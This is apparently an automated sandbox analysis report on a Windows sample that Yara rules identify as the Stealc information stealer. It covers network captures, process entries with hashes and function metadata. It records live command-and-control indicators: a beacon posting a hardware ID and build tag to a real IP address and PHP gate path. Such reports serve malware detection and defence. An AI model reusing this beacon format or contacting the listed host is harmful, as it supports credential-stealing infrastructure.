Oct 7, 2024 18:01:52.919758081 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.919840097 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.920034885 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.920057058 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.920067072 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.920078993 CEST	60497	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.920084000 CEST	443	60497	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.923007011 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.923033953 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.923114061 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.923273087 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.923286915 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.955811977 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.956396103 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.956419945 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.956991911 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.956999063 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.978245974 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.978450060 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.978557110 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.978609085 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.978662014 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.978737116 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.978750944 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:52.978761911 CEST	60498	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:52.978766918 CEST	443	60498	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.045592070 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.050417900 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.050488949 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.051898003 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.051906109 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.063704014 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.064050913 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.064138889 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.065095901 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.065121889 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.065133095 CEST	60499	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.065139055 CEST	443	60499	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.151508093 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.151772022 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.151858091 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.151932955 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.151979923 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.152008057 CEST	60500	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.152024984 CEST	443	60500	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.538023949 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.538556099 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.538572073 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.539159060 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.539164066 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.594708920 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.595415115 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.595447063 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.596076965 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.596085072 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.655759096 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.656594992 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.656653881 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.656713009 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.656728029 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.656738997 CEST	60501	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.656744957 CEST	443	60501	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.805929899 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.806013107 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.806067944 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.806251049 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.806267023 CEST	443	60502	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:53.806278944 CEST	60502	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:53.806283951 CEST	443	60502	13.107.253.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:01:05.906297922 CEST	53	58481	162.159.36.2	192.168.2.4
Oct 7, 2024 18:01:07.735320091 CEST	53	54344	1.1.1.1	192.168.2.4
Oct 7, 2024 18:01:07.735447884 CEST	53	54344	1.1.1.1	192.168.2.4

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 18:00:24.375832081 CEST	1.1.1.1	192.168.2.4	0xd350	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:00:24.375832081 CEST	1.1.1.1	192.168.2.4	0xd350	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:01:04.161480904 CEST	1.1.1.1	192.168.2.4	0xee2a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:01:04.161480904 CEST	1.1.1.1	192.168.2.4	0xee2a	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:01:04.161480904 CEST	1.1.1.1	192.168.2.4	0xee2a	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

62.204.41.150

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	62.204.41.150	80	7072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:00:20.575268984 CEST	88	OUT	GET / HTTP/1.1 Host: 62.204.41.150 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:21.259233952 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:21.261679888 CEST	419	OUT	POST /edd20096ecef326d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBK Host: 62.204.41.150 Content-Length: 219 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 36 44 46 38 36 33 33 46 46 30 32 34 36 39 31 37 33 31 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="hwid"426DF8633FF02469173176------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="build"default6_doz------DGHIECGCBKFHIEBGHDBK--
Oct 7, 2024 18:00:21.755469084 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	12:00:19
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\5rVhexjLCx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5rVhexjLCx.exe"
Imagebase:	0x580000
File size:	505'344 bytes
MD5 hash:	0B1D171017BE0462FF7522614F49AFEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:00:19
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x270000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:00:19
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xf80000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:00:19
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7000 -s 272
Imagebase:	0xde0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	3

Executed Functions

Function 00582021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(005FA6D8,?,00000040,?), ref: 00582738

Strings

a, xrefs: 00582296
S, xrefs: 0058206A
', xrefs: 00582718

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 589b0d11978823f583a29862e24f7841f41a675c3a835fcc8f59a35cdc07d9fa
Instruction ID: 1943ada25a8cc31d6bae875d60107e375f89a800f28820afa8aa558da4093660
Opcode Fuzzy Hash: 589b0d11978823f583a29862e24f7841f41a675c3a835fcc8f59a35cdc07d9fa
Instruction Fuzzy Hash: F4F1CE37934E1B06E70870398D662E59D4AF7AA330F914732AE63FB3F4E76909419385

Function 00596368 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00598F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0059639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00598F1C,?,?,00000000,?,00000000), ref: 005963BA

Strings

R[X, xrefs: 00596396

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: String
String ID: R[X
API String ID: 2568140703-2894495381
Opcode ID: 4d58d8d704e47ce0a9f2c7d73499ce56c08914bccf2861ed955bf17646a6ddca
Instruction ID: 02e692c24a704a7c763b9b95fa89119bb866187f95e4d64b9fe1ab594d1a1760
Opcode Fuzzy Hash: 4d58d8d704e47ce0a9f2c7d73499ce56c08914bccf2861ed955bf17646a6ddca
Instruction Fuzzy Hash: DEF0643200015ABBCF126F90DC09ADE3E26BB893A4B158410FA1866020CB36D97AAB90

Function 00598E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00598FDD

Part of subcall function 00593A83: HeapAlloc.KERNEL32(00000000,0059A1AA,?,?,0059A1AA,00000220,?,?,?), ref: 00593AB5

__freea.LIBCMT ref: 00598FF2
__freea.LIBCMT ref: 00599002

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: bb8e337d67d88ec514c262efa746f3ad12d94d9beeb8a7bdc0142e5c31869237
Instruction ID: 237a1e78c58b8c365a9075e64cd6cd8370fe2f68476ed34c36af2aeac3e0b88f
Opcode Fuzzy Hash: bb8e337d67d88ec514c262efa746f3ad12d94d9beeb8a7bdc0142e5c31869237
Instruction Fuzzy Hash: 0751A072600216AFEF21AF64CC85EBB3EAAFF46750B190529FD08E6250EF35CC508760

Function 0059A3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00599ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00599F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,0059A1ED,?,00000000,?,?,?), ref: 0059A407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,0059A1ED,?,00000000,?,?,?), ref: 0059A449

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 17aab8eddf7c73554ae4789857059ab0e845282e5c83c4186a56751f8c25ee3c
Instruction ID: 96c84896da8689679210a0d092d1e3d9190bcb9887de433ca291700698b56029
Opcode Fuzzy Hash: 17aab8eddf7c73554ae4789857059ab0e845282e5c83c4186a56751f8c25ee3c
Instruction Fuzzy Hash: 14513770A002458FDF21DF35C8896AABFF5FF81304F14846ED08A8B651E7B89945CBA2

Function 00599FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,0059A1F9,0059A1ED,00000000), ref: 00599FDC

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: c4a6fb9bae120af2ad364fe91b301a9feabed4159405fe9d39fb0707bc45abde
Instruction ID: f3af8b04df2c0e2f29d47857c50564410d55a972b129f4b2635f70c55b62c834
Opcode Fuzzy Hash: c4a6fb9bae120af2ad364fe91b301a9feabed4159405fe9d39fb0707bc45abde
Instruction Fuzzy Hash: FE5178719082589ADF218A28CD88AE67FB8FB46304F2405EDE59AC7042D335AD46EF71

Non-executed Functions

Function 005D094F Relevance: 19.6, Strings: 11, Instructions: 5885COMMON

Download Yara Rule

Strings

-]45, xrefs: 005D0C92
h2=?, xrefs: 005D1A71
hw^ , xrefs: 005D1229
9]`V, xrefs: 005D166E
6"k~, xrefs: 005D12F7
7.?j, xrefs: 005D0CCE
+4#, xrefs: 005D1098
8@[*, xrefs: 005D13C4
-ms, xrefs: 005D199A
G>q, xrefs: 005D0C20
2- #, xrefs: 005D1899

Memory Dump Source

Source File: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID: +4#$-]45$-ms$2- #$6"k~$7.?j$8@[*$9]`V$G>q$h2=?$hw^
API String ID: 0-103661567
Opcode ID: 7901161aae9f9da5d229c51b76c7ce90f08aceb943cd7e8fa9e8ea12c19d518a
Instruction ID: 513d151b39442910d2d899e4973f093881766b19a2fc5eede5fa1385a4114c3d
Opcode Fuzzy Hash: 7901161aae9f9da5d229c51b76c7ce90f08aceb943cd7e8fa9e8ea12c19d518a
Instruction Fuzzy Hash: 9C83427241EBD42EC7378B344AB65A17F66FE232107194ACFC4C18F6B3C294991AE356

Function 0059C9E9 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0059CAF5
IsValidCodePage.KERNEL32(00000000), ref: 0059CB3E
IsValidLocale.KERNEL32(?,00000001), ref: 0059CB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0059CB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0059CBB4

Strings

||Z, xrefs: 0059CA4E

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ||Z
API String ID: 415426439-2862532150
Opcode ID: 351a0512a88b2831be97444a1f6fbb75be7d350ca80bfadb63e75531831c2ca5
Instruction ID: 4e65ff8e70a12163dbeb59a59786d5cbe15369c65370f562e831c3268d0b76de
Opcode Fuzzy Hash: 351a0512a88b2831be97444a1f6fbb75be7d350ca80bfadb63e75531831c2ca5
Instruction Fuzzy Hash: 31517F72A0020AABDF10DFA5DC46EBEBFB9FF49700F584469E915E7190E7709A04CB61

Function 0059D39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0059D57F

Strings

1#INF, xrefs: 0059D4D1
1#QNAN, xrefs: 0059D4AE
1#SNAN, xrefs: 0059D4A7
1#IND, xrefs: 0059D4A0

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c0017cbcdfda00f6c9b4c42399e15a5f2e28146008a4b5c341c541f1029c88d0
Instruction ID: 4d8d7842240fb156e89fcc67c73cf2a3376521576d134d7279bcb6efe430c1c7
Opcode Fuzzy Hash: c0017cbcdfda00f6c9b4c42399e15a5f2e28146008a4b5c341c541f1029c88d0
Instruction Fuzzy Hash: D2D22572E082298FDF65CE28CD457EABBB5FB85304F1445EAD40DA7240E778AE818F51

Function 0059C085 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00594EB1: GetLastError.KERNEL32(?,00000008,00599482), ref: 00594EB5
Part of subcall function 00594EB1: SetLastError.KERNEL32(00000000,005AC480,00000024,00590419), ref: 00594F57

GetACP.KERNEL32(?,?,?,?,?,?,00591848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0059C146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00591848,?,?,?,00000055,?,-00000050,?,?), ref: 0059C171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0059C2D4

Strings

||Z, xrefs: 0059C0C7
utf8, xrefs: 0059C243

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8$||Z
API String ID: 607553120-2898693352
Opcode ID: 092ac77f05830044335f3fe31032de729509ed09ded4731fb46fc4303dd2b8da
Instruction ID: 1b812014c87a1b57b4985a8382027002d92a4bc07ad7dfc7c1877c7a5e01aa94
Opcode Fuzzy Hash: 092ac77f05830044335f3fe31032de729509ed09ded4731fb46fc4303dd2b8da
